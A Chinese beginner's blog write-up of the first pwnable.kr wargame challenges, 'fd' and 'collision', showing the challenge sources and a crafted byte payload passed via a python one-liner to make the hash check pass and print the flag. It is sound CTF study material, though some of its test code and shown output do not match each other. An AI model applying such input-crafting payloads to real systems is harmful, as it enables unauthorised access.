美文网首页
pwnable.kr小白题解

pwnable.kr小白题解

作者: 灰羽小少爷 | 来源:发表于2018-07-27 22:13 被阅读170次

    题目一(fd - 1 pt )

    打开题目,使用SSH链接到目标服务器。发现有三个文件分别为fd、fd.c 、flag。

    fd@ubuntu:~$ ls
    fd  fd.c  flag
    fd@ubuntu:~$ cat flag
    cat: flag: Permission denied
    fd@ubuntu:~$ cat fd.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char buf[32];
    int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
            printf("pass argv[1] a number\n");
            return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
            printf("good job :)\n");
            system("/bin/cat flag");
            exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
    
    }
    
    fd@ubuntu:~$ ./fd
    pass argv[1] a number
    fd@ubuntu:~$ ./fd 3
    learn about Linux file IO
    fd@ubuntu:~$ ./fd 2
    learn about Linux file IO
    fd@ubuntu:~$ ./fd 1
    learn about Linux file IO
    
    

    尝试输入,猜测漏洞点为Linux下read的第一参数可控,查阅资料可得(以下内容摘自https://www.cnblogs.com/xiehongfeng100/p/4619451.html):

    在Linux下read函数定义如下:

    #include <unistd>
    ssize_t read(int filedes, void *buf, size_t nbytes);
    // 返回:若成功则返回读到的字节数,若已到文件末尾则返回0,若出错则返回-1
    // filedes:文件描述符[0-标准输入(stdin),1-标准输出(stdout),2-标准错误输出(stderr)]
    // buf:读取数据缓存区
    // nbytes:要读取的字节数
    

    有几种情况可使实际读到的字节数少于要求读的字节数:

    1)读普通文件时,在读到要求字节数之前就已经达到了文件末端。例如,若在到达文件末端之前还有30个字节,而要求读100个字节,则read返回30,下一次再调用read时,它将返回0(文件末端)。

    2)当从终端设备读时,通常一次最多读一行。

    3)当从网络读时,网络中的缓存机构可能造成返回值小于所要求读的字结束。

    4)当从管道或FIFO读时,如若管道包含的字节少于所需的数量,那么read将只返回实际可用的字节数。

    5)当从某些面向记录的设备(例如磁带)读时,一次最多返回一个记录。

    6)当某一个信号造成中断,而已经读取了部分数据。

    在《UNIX网络编程 卷1》中,作者将该函数进行了封装,以确保数据读取的完整,具体程序如下:

     1 ssize_t                        /* Read "n" bytes from a descriptor. */
     2 readn(int fd, void *vptr, size_t n)
     3 {
     4     size_t nleft;
     5     ssize_t nread;
     6     char *ptr;
     7 
     8     ptr = vptr;
     9     nleft = n;
    10     while (nleft > 0) {
    11         if ( (nread = read(fd, ptr, nleft)) < 0) {
    12             if (errno == EINTR)
    13                 nread = 0;        /* and call read() again */
    14             else
    15                 return(-1);
    16         } else if (nread == 0)
    17             break;                /* EOF */
    18 
    19         nleft -= nread;
    20         ptr   += nread;
    21     }
    22     return(n - nleft);        /* return >= 0 */
    23 }
    24 /* end readn */
    25 
    26 ssize_t
    27 Readn(int fd, void *ptr, size_t nbytes)
    28 {
    29     ssize_t        n;
    30 
    31     if ( (n = readn(fd, ptr, nbytes)) < 0)
    32         err_sys("readn error");
    33     return(n);
    34 }
    

    因此,我们只需要使得read函数的filedes(文件描述符)为0即可对buf变量进行最大32字节的填充,这里只需要填充"LETMEWIN"即可顺利cat flag。

    题目二(collision - 3 pt )

    与第一题一样,看文件,读源码,尝试无参运行。

    col@ubuntu:~$ ls
    col  col.c  flag
    col@ubuntu:~$ cat col.c
    #include <stdio.h>
    #include <string.h>
    unsigned long hashcode = 0x21DD09EC;
    unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
            res += ip[i];
        }
        return res;
    }
    
    int main(int argc, char* argv[]){
        if(argc<2){
            printf("usage : %s [passcode]\n", argv[0]);
            return 0;
        }
        if(strlen(argv[1]) != 20){
            printf("passcode length should be 20 bytes\n");
            return 0;
        }
    
        if(hashcode == check_password( argv[1] )){
            system("/bin/cat flag");
            return 0;
        }
        else
            printf("wrong passcode.\n");
        return 0;
    }
    col@ubuntu:~$ ./col
    usage : ./col [passcode]
    
    

    这个程序的逻辑相对简单,即为输入20字节长度的参数,经过check_password的变换,输出int变量与0x21DD09EC比较,相等即输出flag。

    为了说明数据在内存中的存储方式,在这里我们用一个简单的方式给予说明。

    #include<bits/stdc++.h>
    using namespace std;
    int main()
    {
        char str[20]="ABCDEFGHIJKLMNOPQRS";
        int *p=(int *)str;
        for(int i=0; i<5; i++)
            cout<<p[i]<<endl;
        return 0;
    }
    

    发现输出

    1145258561
    1212630597
    1280002633
    1347374669
    5460561
    
    --------------------------------
    Process exited with return value 0
    Press any key to continue . . .
    

    转换为16进制发现即为

    0x44434241
    0x48474645
    0x4C4B4A49
    0x504F4E4D
    0x535251
    

    那么尝试

    #include<bits/stdc++.h>
    using namespace std;
    int main()
    {
        char str[20]={'\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x01','\x00'};
        int *p=(int *)str;
        for(int i=0; i<5; i++){
            cout<<dec<<p[i]<<endl;
            cout<<hex<<p[i]<<endl;
        }
        return 0;
    }
    

    果然结果为

    16843009
    1010101
    16843009
    1010101
    16843009
    1010101
    16843009
    1010101
    65793
    10101
    --------------------------------
    Process exited with return value 0
    Press any key to continue . . .
    

    那么我们尝试构造payload。

    0x21DD09EC=568134124 33686018*4=134744072 568134124-134744072=433390052

    33686018=0x02020202 433390052=0x19D501E4

    所以payload是'\xe4\x01\xd5\x19\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02'

    实验

    #include<bits/stdc++.h>
    using namespace std;
    int main()
    {
        char str[20]={'\x19','\xd5','\x01','\xe4','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02','\x02'};
        int *p=(int *)str;
        int tmp;
        for(int i=0; i<5; i++)
            tmp+=p[i];
        cout<<dec<<tmp;
        cout<<hex<<tmp;
        return 0;
    }
    

    结果

    433390052
    33686018
    33686018
    33686018
    33686018
    568134124
    21dd09ec
    --------------------------------
    Process exited with return value 0
    Press any key to continue . . .
    

    显然正确,那么尝试带参数运行程序。

    col@ubuntu:~$ ./col `python -c "print '\x02\x02\x02\x02'*4+'\xE4\x01\xD5\x19'"`
    

    拿到flag。

    题目三(bof - 5 pt )

    等待更新~

    相关文章

      网友评论

          本文标题:pwnable.kr小白题解

          本文链接:https://www.haomeiwen.com/subject/rtggmftx.html